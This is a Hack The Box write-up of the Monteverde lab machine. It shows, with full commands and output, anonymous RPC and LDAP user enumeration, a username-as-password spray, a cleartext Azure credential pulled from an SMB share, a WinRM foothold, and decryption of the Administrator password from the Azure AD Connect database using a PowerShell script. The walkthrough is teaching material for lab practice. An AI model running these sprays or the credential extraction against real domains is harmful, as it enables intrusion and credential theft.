Byte JMP
Monteverde: Azure AD Connect to Domain Admin

Monteverde: Azure AD Connect to Domain Admin

Hack The Box write-up for the Monteverde machine. Anonymous RPC user enumeration feeds a username-as-password spray, a service account exposes a stored Azure credential over SMB, and Azure AD Connect credential extraction hands over the on-prem Administrator.

·13 min read

Port Scanning

The assessment began with an nmap scan using service version detection (-sV), host discovery disabled (-Pn), and aggressive timing (-T4) against 10.129.228.111.

$ nmap -sV -Pn -T4 10.129.228.111
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-05 00:38 -0300
Nmap scan report for MEGABANK.LOCAL (10.129.228.111)
Host is up (0.20s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-09-05 03:38:49Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

A textbook Active Directory Domain Controller profile: DNS (53), Kerberos (88), RPC (135), SMB (139/445), LDAP (389/3268), and WinRM on port 5985. There is no HTTP front-end this time, so the web angle is off the table and everything will have to come out of the AD services themselves. The LDAP banners confirm the domain is MEGABANK.LOCAL and the hostname is MONTEVERDE.

Domain and hostname were added to /etc/hosts:

10.129.228.111  MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL

SMB Enumeration

First check was whether the DC would talk over anonymous SMB. A null session is accepted (Null Auth: True), but share enumeration is denied and the guest account is disabled:

$ nxc smb 10.129.228.111 -u '' -p '' --shares
SMB         10.129.228.111  445    MONTEVERDE       [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.111  445    MONTEVERDE       [+] MEGABANK.LOCAL\:
SMB         10.129.228.111  445    MONTEVERDE       [-] Error enumerating shares: STATUS_ACCESS_DENIED

$ nxc smb 10.129.228.111 -u 'guest' -p '' --shares
SMB         10.129.228.111  445    MONTEVERDE       [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\guest: STATUS_ACCOUNT_DISABLED

Null SMB is a dead end for shares, but the null bind being accepted at all is a good sign since RPC and LDAP often lean on the same permissive configuration.

DNS Enumeration

A zone transfer attempt against the domain returned REFUSED, so no extra DNS records:

$ host -t axfr MEGABANK.LOCAL 10.129.228.111
Trying "MEGABANK.LOCAL"
Using domain server:
Name: 10.129.228.111
Address: 10.129.228.111#53
Aliases:

Host MEGABANK.LOCAL not found: 5(REFUSED)
; Transfer failed.

Nothing here. Moving on to RPC.

RPC Enumeration

Where SMB shares were locked down, anonymous rpcclient was not. enumdomusers returned the full domain user list without credentials:

$ rpcclient -U '' -N 10.129.228.111
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]

Two names stand out immediately. AAD_987d7f2f57d2 is the naming convention for an Azure AD Connect synchronization service account, and its account description confirms it outright:

rpcclient $> querydispinfo
index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2    Name: AAD_987d7f2f57d2    Desc: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos    Name: Dimitris Galanos    Desc: (null)
index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope    Name: Mike Hope    Desc: (null)
index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary    Name: Ray O'Leary    Desc: (null)
index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs    Name: SABatchJobs    Desc: (null)

That is a strong hint about the eventual privilege escalation path since Azure AD Connect is installed on this host, but a foothold is needed first. The group listing also flags the target for later:

rpcclient $> enumdomgroups
...
group:[Azure Admins] rid:[0xa29]
group:[File Server Admins] rid:[0xa2e]
group:[Call Recording Admins] rid:[0xa2f]
group:[Reception] rid:[0xa30]
group:[Operations] rid:[0xa31]
group:[Trading] rid:[0xa32]
group:[HelpDesk] rid:[0xa33]
group:[Developers] rid:[0xa34]

Azure Admins is a non-default group and, given the AAD sync account, almost certainly the group that matters. The password policy is also worth a glance before spraying anything: a 7-character minimum with no complexity flags set.

rpcclient $> getdompwinfo
min_password_length: 7
password_properties: 0x00000000

LDAP Enumeration

The same permissive null bind works over LDAP, so I pulled users and groups with netexec to cross-check the RPC output:

$ nxc ldap 10.129.228.111 -u '' -p '' --password-not-required --admin-count --users --groups
LDAP        10.129.228.111  389    MONTEVERDE       [+] MEGABANK.LOCAL\:
LDAP        10.129.228.111  389    MONTEVERDE       -Username-                    -Last PW Set-       -BadPW-  -Description-
LDAP        10.129.228.111  389    MONTEVERDE       Guest                         <never>             0        Built-in account for guest access to the computer/domain
LDAP        10.129.228.111  389    MONTEVERDE       AAD_987d7f2f57d2              2020-01-02 19:53:24 0        Service account for the Synchronization Service ...
LDAP        10.129.228.111  389    MONTEVERDE       mhope                         2020-01-02 20:40:05 0
LDAP        10.129.228.111  389    MONTEVERDE       SABatchJobs                   2020-01-03 09:48:46 0
LDAP        10.129.228.111  389    MONTEVERDE       svc-ata                       2020-01-03 09:58:31 0
LDAP        10.129.228.111  389    MONTEVERDE       svc-bexec                     2020-01-03 09:59:55 0
LDAP        10.129.228.111  389    MONTEVERDE       svc-netapp                    2020-01-03 10:01:42 0
LDAP        10.129.228.111  389    MONTEVERDE       dgalanos                      2020-01-03 10:06:10 0
LDAP        10.129.228.111  389    MONTEVERDE       roleary                       2020-01-03 10:08:05 0
LDAP        10.129.228.111  389    MONTEVERDE       smorgan                       2020-01-03 10:09:21 0
LDAP        10.129.228.111  389    MONTEVERDE       Azure Admins                             3

The Azure Admins group has 3 members. That is now three separate signals pointing at the same escalation vector: the AAD service account, the group, and the sync service description, but all of it is useless without valid credentials.

I saved the confirmed accounts to users.txt for the next stage:

smorgan
roleary
dgalanos
svc-netapp
svc-bexec
svc-ata
SABatchJobs
mhope
AAD_987d7f2f57d2
Guest

AS-REP Roasting

With a user list in hand, the first cheap thing to try is AS-REP roasting: any account with Kerberos pre-authentication disabled will hand out a crackable AS-REP without credentials. impacket-GetNPUsers came back empty, none of the accounts have UF_DONT_REQUIRE_PREAUTH set, and the run terminates on KDC_ERR_CLIENT_REVOKED when it reaches the disabled Guest account:

$ impacket-GetNPUsers MEGABANK.LOCAL/ -usersfile users.txt -dc-ip 10.129.228.111
[-] User smorgan doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User roleary doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User dgalanos doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-netapp doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-bexec doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-ata doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User SABatchJobs doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mhope doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User AAD_987d7f2f57d2 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

No roastable accounts. On to spraying.

Password Spraying

With a weak password policy (7 chars, no complexity) and a set of service accounts, the classic first guess is that a password equals the username. netexec can test exactly that with --no-brute, which pairs each username with the password on the same line rather than doing a full cross-product. Feeding users.txt as both the user list and the password list checks username == password for every account in one pass:

$ nxc smb 10.129.228.111 -u users.txt -p users.txt --no-brute
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:smorgan STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:roleary STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\dgalanos:dgalanos STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\svc-netapp:svc-netapp STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\svc-bexec:svc-bexec STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\svc-ata:svc-ata STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs

SABatchJobs reuses its own name as a password. First valid credentials: SABatchJobs / SABatchJobs.

Kerberoasting

Before pivoting to shares, I checked whether the new credentials could Kerberoast any SPN-bearing accounts. impacket-GetUserSPNs found nothing:

$ impacket-GetUserSPNs MEGABANK.LOCAL/SABatchJobs:SABatchJobs -dc-ip 10.129.228.111
No entries found!

No service accounts with SPNs registered. That path is closed too.

Domain Enumeration with SABatchJobs

BloodHound

With authenticated access I collected the domain for BloodHound to check for any ACL-based paths off SABatchJobs:

$ bloodhound-python -d MEGABANK.LOCAL -u 'SABatchJobs' -p 'SABatchJobs' -ns 10.129.228.111 -c all
INFO: Found AD domain: megabank.local
INFO: Found 1 computers
INFO: Found 13 users
INFO: Found 65 groups
INFO: Found 2 gpos
INFO: Found 9 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Done in 00M 32S

Nothing actionable from SABatchJobs in the graph. The account's value turns out to be plain read access to shares, not any directory right.

SMB Shares

Re-running the share enumeration authenticated shows a lot more than the null session did:

$ nxc smb 10.129.228.111 -u 'SABatchJobs' -p 'SABatchJobs' --shares
SMB         10.129.228.111  445    MONTEVERDE       [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB         10.129.228.111  445    MONTEVERDE       Share           Permissions     Remark
SMB         10.129.228.111  445    MONTEVERDE       -----           -----------     ------
SMB         10.129.228.111  445    MONTEVERDE       ADMIN$                          Remote Admin
SMB         10.129.228.111  445    MONTEVERDE       azure_uploads   READ
SMB         10.129.228.111  445    MONTEVERDE       C$                              Default share
SMB         10.129.228.111  445    MONTEVERDE       E$                              Default share
SMB         10.129.228.111  445    MONTEVERDE       IPC$            READ            Remote IPC
SMB         10.129.228.111  445    MONTEVERDE       NETLOGON        READ            Logon server share
SMB         10.129.228.111  445    MONTEVERDE       SYSVOL          READ            Logon server share
SMB         10.129.228.111  445    MONTEVERDE       users$          READ

Two non-default shares are readable: azure_uploads and users$. The users$ share exposes per-user home directories.

Credential in users$

Browsing users$ with smbclient, each employee has a folder. mhope's directory contains an azure.xml:

$ smbclient \\\\MEGABANK.LOCAL\\users$ -U 'SABatchJobs'
Password for [WORKGROUP\SABatchJobs]:
smb: \> ls
  dgalanos                            D        0  Fri Jan  3 10:12:30 2020
  mhope                               D        0  Fri Jan  3 10:41:18 2020
  roleary                             D        0  Fri Jan  3 10:10:30 2020
  smorgan                             D        0  Fri Jan  3 10:10:24 2020
smb: \> cd mhope
smb: \mhope\> ls
  azure.xml                          AR     1212  Fri Jan  3 10:40:23 2020
smb: \mhope\> get azure.xml
getting file \mhope\azure.xml of size 1212 as azure.xml

The file is a serialized PowerShell PSADPasswordCredential object, and it carries a cleartext password:

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>

Recovered password: 4n0therD4y@n0th3r$. The filename and the object type both suggest it belongs to mhope, but the safe move is to spray it across the whole user list rather than assume.

Spraying the Recovered Credential

Spraying the recovered password against users.txt confirms it belongs to a single account:

$ nxc smb 10.129.228.111 -u users.txt -p '4n0therD4y@n0th3r$'
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\dgalanos:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\svc-netapp:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\svc-bexec:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\svc-ata:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\SABatchJobs:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$

mhope / 4n0therD4y@n0th3r$. This is the same mhope whose home directory leaked the file, and the credential was sitting in the account's own folder.

Initial Access via WinRM

mhope is a member of Remote Management Users and WinRM is exposed on 5985, so I connected with evil-winrm:

$ evil-winrm -i MEGABANK.LOCAL -u 'mhope' -p '4n0therD4y@n0th3r$'

Evil-WinRM shell v3.9

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents>

Shell obtained as mhope.

User Flag

*Evil-WinRM* PS C:\Users\mhope\Desktop> cat user.txt
d928782e5a1c8f47ee8b1fbd12e7a866

Privilege Escalation via Azure AD Connect

Enumerating the Security Context

The privilege set for mhope is bare, nothing to chain directly:

*Evil-WinRM* PS C:\Users\mhope\Desktop> whoami /priv

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

The group membership is where it gets interesting. mhope is a member of Azure Admins, exactly the group flagged during enumeration:

*Evil-WinRM* PS C:\Users\mhope\Desktop> whoami /all
...
GROUP INFORMATION
-----------------
Group Name                                  Type   SID
=========================================== ====== ============================================
MEGABANK\Azure Admins                       Group  S-1-5-21-391775091-850290835-3566037492-2601

And the home directory confirms Azure AD Connect is present and configured for this user:

*Evil-WinRM* PS C:\Users\mhope> dir
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         9/4/2026  10:39 PM                .Azure
d-r---         1/3/2020   5:47 AM                Desktop
...

How the Attack Works

Azure AD Connect synchronizes on-prem Active Directory with Azure AD. To do that it authenticates back to the on-prem directory using a highly privileged account, in this case the on-prem Administrator. Those credentials are stored, encrypted, in the local ADSync database (a SQL Server LocalDB instance). The catch is that everything needed to reverse the encryption (the keyset ID, instance ID, and entropy) lives in the same database, and the decryption is done client-side through mcrypt.dll. Any account that can read the ADSync database can therefore recover the sync account's cleartext password. Adam Chester's writeup documents the full technique; CyberVaca's Azure-ADConnect.ps1 from PsCabesha-tools packages it into a single function.

The script reads the key material and the encrypted config out of mms_server_configuration and mms_management_agent, loads the key set via the KeyManager from mcrypt.dll, decrypts the blob, and parses the domain, username, and password out of the resulting XML:

$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
...
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
...
add-type -path "C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll"
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
...
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

Extracting the Credentials

I imported the script and ran it against the local ADSync database:

*Evil-WinRM* PS C:\Users\mhope\Documents> import-module .\Azure-ADConnect.ps1
*Evil-WinRM* PS C:\Users\mhope\Documents> Azure-ADConnect -server 127.0.0.1 -db ADSync
[+] Domain:  MEGABANK.LOCAL
[+] Username: administrator
[+]Password: d0m@in4dminyeah!

The sync account is the on-prem Administrator, and its password comes back in cleartext: d0m@in4dminyeah!.

Pivoting to Administrator

The recovered credentials authenticate straight over WinRM:

$ evil-winrm -i MEGABANK.LOCAL -u 'Administrator' -p 'd0m@in4dminyeah!'

Evil-WinRM shell v3.9

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
megabank\administrator

Root Flag

*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
93c90ee0794da0f336e0b3f8a5513581

Both flags retrieved, confirming full compromise of the domain controller. The chain was entirely misconfiguration-driven: anonymous RPC leaked the full user list, a service account reused its own name as a password, an Azure credential was left in a readable home directory, and Azure AD Connect stored the on-prem Administrator password in a database its own admin group could decrypt. The AS-REP roasting and Kerberoasting attempts along the way both came up empty, worth trying because they cost nothing, but neither was the intended path.

References

  1. XPN: Azure AD Connect for Red Teamers. Original research on extracting the Azure AD Connect sync account credentials from the local ADSync database.

  2. PsCabesha-tools: Azure-ADConnect.ps1. CyberVaca's PowerShell implementation of the Azure AD Connect credential extraction used for the privilege escalation.

  3. Microsoft: What is Azure AD Connect. Background on the synchronization service and the privileged on-prem account it stores.

  4. The Hacker Recipes: Password Spraying. Reference on spraying weak/reused credentials against a domain, including username-as-password.

  5. NetExec. Tool used for SMB/LDAP enumeration and the credential sprays.

  6. Impacket. GetNPUsers and GetUserSPNs, used for the AS-REP roasting and Kerberoasting attempts.

  7. Evil-WinRM. WinRM shell used for initial access as mhope and for the final logon as Administrator.